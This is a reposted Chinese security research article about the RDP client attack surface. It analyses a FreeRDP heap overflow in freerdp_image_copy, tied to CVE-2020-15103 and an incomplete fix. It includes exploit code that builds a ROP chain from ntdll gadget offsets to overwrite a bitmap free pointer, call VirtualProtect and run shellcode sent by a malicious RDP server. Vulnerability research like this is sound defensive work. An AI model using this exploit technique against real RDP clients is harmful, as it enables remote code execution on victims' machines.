rdp 协议攻击面与安全性分析 | 您所在的位置:网站首页 › rdp安全性 多因 › rdp 协议攻击面与安全性分析 |
作者:sunglin@知道创宇404实验室/0103 sec team时间:2021年10月9日 0x00 RDP协议的应用RDP协议(远程桌面协议)是微软公司创建的专有协议,它允许系统用户通过图形界面连接到远程系统,主要分为服务端和客户端,这篇我们来聊聊客户端相关应用与攻击面。主要流行的应用包括: mstsc.exe(微软系统自带)
1、[MS-RDPBCGR]基于ITU(国际电信联盟)T.120系列协议。T.120标准由一组通信和应用层协议组成,使实施者能够为实时,多点数据连接和会议创建兼容的产品和服务。2、[MS-RDPBCGR]协议可通过静态虚拟通道和动态扩展协议建立隧道进行传输;3、其中有9种协议可建立静态虚拟通道包括常用的(剪切板、音频输出、打印虚拟频道、智能卡等)4、其中12种协议可与动态频道虚拟频道扩展[MS-RDPEDYC]建立隧道包括(视频虚拟频道、音频输入、USB设备、图形管道、即插即用设备等等)5、7种协议扩展了[MS-RDPBCGR]并且还包括UDP传输扩展[MS-RDPEUDP]、网关服务器协议[MS-TSGU]等。 rdp协议中对图形处理中有两种通道,多种方式,协议也是很复杂的 attack fastpathapi:CCO::OnFastPathOutputReceived(CCO *this, unsigned __int8 *a2, unsigned int a3){switch(){case1:CTSCoreGraphics::ProcessBitmap.............case 9:CCM::CM_ColorPointerPDUcase A:case B:............}}对此通道进行fuzzing,而后获取到了msrdp的crash: 漏洞存在模块mstscax.dll,api是CUH::UHLoadBitmapBitsCUH::UHGetMemBltBits获取存储的bitmap数据时访问到数组边界造成数据越界 msrdp与freerdp存在相同的漏洞? freerdp CVE-2020-11525 同样的bitmap数组越界当id == maxCells时将会 数组越界并且和msrdp是同一个漏洞 对于rdp图形通道的漏洞,我于7月份的时候向freerdp报告了一枚漏洞,并且freerdp回复了我并分配了cve号 CVE-2020-15103,当时提到的漏洞原因是整数溢出,并且freerdp发布了2.2.0版本修复了我提到的漏洞,重新深入分析了这枚漏洞,发现并不只是整数溢出那么简单,而是freerdp并未正确修复此漏洞,遂即对此漏洞进行了深入分析。 0x08 漏洞分析首先在rdp协议建立连接的时候,server发送Demand Active PDU协议字段给client的进行功能交换阶段时候,通过以下的图可以看到存在于连接过程的哪一阶段了。
capabilitySets (variable): An array of Capability Set (section 2.2.1.13.1.1.1) structures. The number of capability sets is specified by the numberCapabilities field 这里关注的是Bitmap Capability Set
rdp_recv_callback->rdp_client_connect_demand_active->rdp_recv_demand_active->rdp_read_capability_sets->rdp_read_bitmap_capability_set 在rdp_read_bitmap_capability_set函数中将会接收到server端的数据,将会设置desktopWidth和desktopHeight https://github.com/FreeRDP/FreeRDP/blob/libfreerdp/core/capabilities.c
wf_post_connect->wf_image_new->wf_create_dib->CreateDIBSection 最后将会调用windows的api CreateDIBSection,CreateDIBSection将会以bmi.bmiHeader.biWidth * bmi.bmiHeader.biHeight * bmi.bmiHeader.biBitCount创建以4096页为基数的大内存。 https://github.com/FreeRDP/FreeRDP/blob/client/Windows/wf_graphics.c
通过特殊制作的头部数据,将会获取如下路径: rdp_recv_pdu->rdp_recv_fastpath_pdu->fastpath_recv_updates->fastpath_recv_update_data->fastpath_recv_update->update_recv_surfcmds->update_recv_surfcmd_surface_bits->gdi_surface_bits->freerdp_image_copy 先来分析下这个函数gdi_surface_bits,在gdi_surface_bits中有三条路径可以解析和处理接收的数据,case RDP_CODEC_ID_REMOTEFX和case RDP_CODEC_ID_NSCODEC,这两条路径都会将原始数据进行解析转换,然而在case RDP_CODEC_ID_NONE中,将会直接得到拷贝原始数据的机会。 Static BOOL gdi_surface_bits(rdpContext* context, const SURFACE_BITS_COMMAND* cmd) { switch(cmd->bmp.codecID) { case RDP_CODEC_ID_REMOTEFX: rfx_process_message(); case RDP_CODEC_ID_NSCODEC: nsc_process_message(); case RDP_CODEC_ID_NONE: freerdp_image_copy() } }最后来到数据越界的函数freerdp_image_copy(),这里的copyDstWidth、nYDst、nDstStep 、xDstOffset 变量都是可控制的,memcpy这里将会越界写
假如这里通过自制工具可以泄露堆地址,比如从最轻松简单的开始,通过泄露越界内存的地址,这个结构体就在gdi_CreateCompatibleBitmap中调用并分配了将会越界的内存 观察以下结构体将会发现data指针后面将会有个free的函数指针,这里泄露两个地址,GDI_BITMAP结构体的地址和data指针的地址,只要GDI_BITMAP结构体的地址高于data指针的地址,就可以计算出偏移offset,通过设置offset精确的将free覆盖,最后通过主动调用free,这样就可以控制rip了 再来回顾下nYDst 是cmd->destTop,nDstStep 是cmd->bmp.width * 4,xDstOffset为cmd.destLeft*4,copyDstWidth为cmd->bmp.width * 4 BYTE* dstLine = &pDstData[(y + nYDst) * nDstStep * dstVMultiplier + dstVOffset]; memcpy(&dstLine[xDstOffset], &srcLine[xSrcOffset], copyDstWidth);这里offset = gdiBitmap_addr - Bitmapdata_addr; 需要通过设置nYDst * nDstStep *1 + xDstOffset = offset 发送bitmapdata 的数据包括shellcode的大小是1060,头部大小是36 shellcode的布局如下:
通过发送以上的bitmap_data数据将会控制hBitmap->free,通过发送RDPGFX_RESET_GRAPHICS_PDU消息将会重置,并且会先调用hBitmap->free释放初始化的资源。
rdpgfx_on_data_received->rdpgfx_recv_pdu->rdpgfx_recv_reset_graphics_pdu->gdi_ResetGraphics->wf_desktop_resize->gdi_resize_ex->gdi_bitmap_free_ex
首先rop链的条件是得通过pop ret来利用栈上面的数据,所有说得控制栈上面的数据才能构造出完整的rop利用链,这里观察了下调用free时的寄存器值: Rax = hBitmap->data rcx = hBitmap->data rdi = rsp + 0x40hBitmap->data的地址上面的堆数据正是被控制的数据,这里在忽略基址随机化的前提下,在ntdll中通过ROPgadget找到了这样的滑块: 48 8B 51 50 mov rdx, [rcx+50h] 48 8B 69 18 mov rbp, [rcx+18h] 48 8B 61 10 mov rsp, [rcx+10h] FF E2 jmp rdx只要执行这条rop链就可以完美控制rsp,接下来只需要调用win api来获取一片可执行代码的内存,这里采用最简单的方式就是直接调用virtprotect来改写shellcode存在的内存页为可执行状态,在x86_64上面,调用api都是通过寄存器来传参的,而virtprotect的传参如下: Mov r9d,arg4 Mov r8d,arg3 Mov edx,arg2 Mov ecx,arg1 Call virtprotect综上所述,我的rop链代码是这样构造的: UINT64 rop1 = 0x00000000000A2C08; //mov rdx, [rcx+50h], mov rbp, [rcx+18h],mov rsp, [rcx+10h],jmp rdx UINT64 rop2 = 0x00008c4b4; // ntdll pop r9 pop r10 pop r11 ret UINT64 rop3 = 0x8c4b2; //ntdll pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret UINT64 rop4 = 0xb416; //ntdll pop rsp ret UINT64 rop5 = 0x8c4b7; //ntdll pop rdx; pop r11; ret UINT64 rop6 = 0x21597; //ntdll pop rcx; ret UINT64 rop7 = 0x64CC0; //virtprotect UINT64 shellcode_addr = ntdll_Base_Addr + rop1; UINT64 rsp_godget = gdi_addr - 104; memcpy(&shellcode[956], &shellcode_addr, sizeof(shellcode_addr));//向后退32 + 64 rop 之rsp控制栈 memcpy(&shellcode[948], &gdi_addr, sizeof(gdi_addr)); //控制rcx memcpy(&shellcode[940], &rsp_godget, sizeof(rsp_godget)); //rsp赋值 shellcode_addr = ntdll_Base_Addr + rop3; memcpy(&shellcode[1004], &shellcode_addr, sizeof(shellcode_addr));//jmp rdx赋值,rop 开始执行 shellcode_addr = ntdll_Base_Addr + rop5; //rop 栈赋值rdx UINT64 ret1 = 924 - 72; memcpy(&shellcode[ret1], &shellcode_addr, sizeof(shellcode_addr)); shellcode_addr = ntdll_Base_Addr + rop6; //rop re2 UINT64 ret2 = 924 - 48; memcpy(&shellcode[ret2], &shellcode_addr, sizeof(shellcode_addr)); shellcode_addr = KERNEL32Base_Addr + rop7; //rop re3 UINT64 ret3 = 924 - 32; memcpy(&shellcode[ret3], &shellcode_addr, sizeof(shellcode_addr)); UINT64 virtprotect_arg4 = 924 - 96; shellcode_addr = gdi_addr - 112; //rop virtprotect_arg4 memcpy(&shellcode[virtprotect_arg4], &shellcode_addr, sizeof(shellcode_addr)); UINT64 virtprotect_arg1 = 924 - 40; shellcode_addr = gdi_addr - 888; //rop virtprotect_arg4 memcpy(&shellcode[virtprotect_arg1], &shellcode_addr, sizeof(shellcode_addr)); memcpy(&shellcode[900], &shellcode_addr, sizeof(shellcode_addr)); //ret to shellcode respose_to_rdp_client(shellcode, 1060);//attack heap overflow通过rop链到执行shellcode,寄存器rdi的值都没有被改写,所以最后在执行shellcode的时候,可以通过rdi来恢复栈地址,这里是通过最简单的方式了: Mov rsp,rdi 最后执行shellcode。 请勿用于其他途径。 |
CopyRight 2018-2019 实验室设备网 版权所有 |